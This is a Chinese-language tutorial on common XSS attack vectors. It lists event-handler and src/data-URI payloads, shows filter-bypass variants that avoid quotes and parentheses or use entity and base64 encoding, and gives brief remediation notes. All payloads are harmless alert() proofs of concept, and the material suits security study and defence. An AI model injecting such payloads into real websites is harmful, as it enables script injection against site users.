常见的XSS攻击代码
第一类:
<tag on*=*/>
在html标签事件中触发,典型的是on*事件,但是这种触发模式的缺陷在于不能直接触发所以更多的需要配合使用。
eg:
1.使html元素占据整个显示页面 <a onclick="alert('1')" style="postion:fixed;width:100%;heith:100%"> </a>
2.增加属性触发事件 <input onfocus="alert('1')" autofocus/>
3.自动触发事件<body onload="alert('1')"></body>
在真实环境中,' 、" 、( 、) 都是属于黑名单中的成员,如果遇到以上四个字符被过滤的情况,那么我们就需要使用其他字符去代替,或者编码的方式去绕过。
eg:
1.不使用 " <input onfocus=alert('1') autofocus/>
2.不使用 ' <input onfocus="alert(/1/)" autofocus/>
3.不使用 ( ) <input onfocus="alert`'1'`" autofocus/>
4.不使用 ' " ( ) <input onfocus=alert`1` autofocus/>
5.使用html实体编码绕过 <input onfocus="alert('1')" autofocus/>
6.使用html实体编码绕过变形 <input onfocus="alert('1')" autofocus/>
这里如何修补该漏洞呢?常见修补方式有如下
eg:
1.使用环境允许插入html标签排版的情况下,很常见的就是将html事件熟悉转义为html实体编码字符,当然也可以直接拦截返回404。常见匹配策略 /on[^=]*=/ig
2.使用环境不允许插入html标签的情况下,不难看出所有的tag前面都紧贴着一个 “ < ” ,所以只需要将 “ < ” 使用html实体编码转换即可。常见匹配策略 /</g
第二类:<tag src=*/>
该类型的触发点其实相对较少的,曾经最经典的一个莫属于IE6中的 <img src="alert('1')"/> 但是这个问题已经成为历史,在其它tag中使用src属性触发xss的列子也还是有的。
eg:
1.在iframe标签中加载一个脚本页面 <iframe src="./alert.html"></iframe>
2.在script标签中加载一个脚本 <script src="./alert.js"></script>
在src属性中可以使用可以直接请求一个外部连接,还可以用Data URI scheme直接嵌入文本
eg:
1.在iframe标签中使用Data URI scheme直接嵌入文本 <iframe src="data:text/html,<script>alert('1')</script>"></iframe>
2.在script标签中使用Data URI scheme直接嵌入文本 <script src="data:text/html,alert('1')"></script>
使用Data URI scheme直接嵌入文本,比较繁琐,但是这类的好处在于可以使用BASE64编码格式
eg:
1.在iframe标签中使用Data URI scheme直接嵌入BASE64编码后的文本 <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnMScpPC9zY3JpcHQ+"></iframe>
2.在script标签中使用Data URI scheme直接嵌入BASE64编码后的文本 <script src="data:text/html;base64,YWxlcnQoJzEnKQ=="></script>
在该类型的变形中还可以结合第一类的变形使用
eg:
1.使用html实体编码URI <script src="./alert.js"></script>
2.使用html实体编码Data URI scheme <script src="data:text/html,alert('1')"></script>
3.使用html实体编码BASE64编码之后的Data URI scheme <script src="data:text/html;base64,YWxlcnQoJzEnKQ=="></script>
该类问题的修补策略和第一类类似。常见方式有如下。
eg:
1.在允许使用外部元素的时候,鄙人不才没能想出处理方案。
2.在不允许使用外部元素的时候,在src所指向的URI上加入当前网站的域名,以此限制内容为当前网站中的安全内容。
3.在不允许使用元素引入的时候,但是允许插入html标签排版的情况下,指定tag白名单或者tag黑名单。
4.不允许使用html标签的时候,将 < 转换为html实体编码。
常见的XSS攻击代码的更多相关文章
- XSS攻击常识及常见的XSS攻击脚本汇总
一.什么是XSS? XSS全称是Cross Site Scripting即跨站脚本,当目标网站目标用户浏览器渲染HTML文档的过程中,出现了不被预期的脚本指令并执行时,XSS就发生了. 这里我们主要注 ...
- 几个常见的漏洞(xss攻击 cookie未清除 nginx信息泄露)与处理方法
项目在安全检查中发现很多问题,要求整改,其中就有最常见的xss攻击 漏洞描述 渗透测试人员检测到网站筛选框均存在反射型跨站脚本攻击,例如: "><script>alert( ...
- 前端XSS攻击和防御
xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会 ...
- 防御XSS攻击的七条原则
本文将会着重介绍防御XSS攻击的一些原则,需要读者对于XSS有所了解,至少知道XSS漏洞的基本原理,如果您对此不是特别清楚,请参考这两篇文章:<Stored and Reflected XSS ...
- web安全-XSS攻击及防御
XSS攻击的原理 xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻 ...
- 如何发起、防御和测试XSS攻击,我们用DVWA来学习(上)
XSS 全称Cross Site Scripting 即‘跨站脚本攻击’. 从其中文释义我们能直观的知道,这是一种对网站的攻击方式. 其原理在于,使用一切可能手段,将可执行脚本(scripting)植 ...
- Web 安全漏洞之 XSS 攻击
什么是 XSS 攻击 XSS(Cross-Site Scripting)又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行.XSS是一种经常出现在 Web 应用程序中的计算机安全漏洞,是由于 ...
- 使用 PHP 构建的 Web 应用如何避免 XSS 攻击
本文首先简单介绍开发测试人员如何对 Web 应用进行 XSS 漏洞测试,如何借助工具绕过客户端 JavaScript 校验输入恶意数据:然后针对使用 PHP 语言构建的 Web 站点,从在输出端对动态 ...
- XSS攻击总结
本文由 http://www.cnblogs.com/phpstudy2015-6/p/6767032.html 整理总结而来 XSS又称CSS(cross site script),译为跨站脚本攻击 ...
随机推荐
- 微信支付之h5方式(非微信内置浏览器中支付)
这两天完成了公司网站手机和PC端的支付对接,就是支付宝和微信. 对接完后有所感触,我们来聊一聊,微信支付的坑,为什么这么说呢,因为我在对接完支付宝后是很愉快的,基本上在demo上稍加修改就ok了, 对 ...
- hdu 4778 Gems Fight! 状态压缩DP
Gems Fight! Time Limit: 20000/10000 MS (Java/Others) Memory Limit: 327680/327680 K (Java/Others)T ...
- codevs 种树3
codevs上的题目,自从wikioi改名后,就不怎么做题了. 这道题的话注释在代码中就可以了,还是求最长路,相较返回如果中间可以种多个的话,那就种越多越好,因为这样可以减少种的棵树, 所以这个i与i ...
- 2014 Benelux Algorithm Programming Contest (BAPC 14)E
题目链接:https://vjudge.net/contest/187496#problem/E E Excellent Engineers You are working for an agency ...
- AIM Tech Round 4 (Div. 2)ABCD
A. Diversity time limit per test 1 second memory limit per test 256 megabytes input standard input o ...
- eclipse安装lombok插件问题解决
在 java平台上,lombok 提供了简单的注解的形式来帮助我们消除一些必须有但看起来很臃肿的代码, 比如属性的get/set,及对象的toString等方法,特别是相对于 POJO.简单的说,就是 ...
- 读书笔记之宿舍共享wifi
若有某方面侵权,请邮件1047697114@qq.com,一个工作日即可处理,谢谢 目录一.简单安装虚拟机二.简单设置,开热点! 我没试过那些wifi软件之类的,以下是个人测试的过程 一.简单安装 ...
- Elixir游戏服设计二
搞一个例子,而没有实际的目标,做起来真是烦人.几次三番都想放弃. 后来想想,即使最后完成不了完整的服务器,把需要的知识点搞搞,摸熟悉也是好的. 这里没有完整的项目目录,主要是对需要的指点进行整理.要完 ...
- [转载]Reids配置文件详解
# redis 配置文件示例 # 当你需要为某个配置项指定内存大小的时候,必须要带上单位, # 通常的格式就是 1k 5gb 4m 等酱紫: # # 1k => 1000 bytes # 1kb ...
- 上传文件没有写权限Access to the path is denied
Access to the path is denied. asp.net程序目录放在系统盘,ntfs格式. 程序中对cfg.xml有写入操作. 运行的时候出现了这个问题. 在我自己的机器上没有问题 ...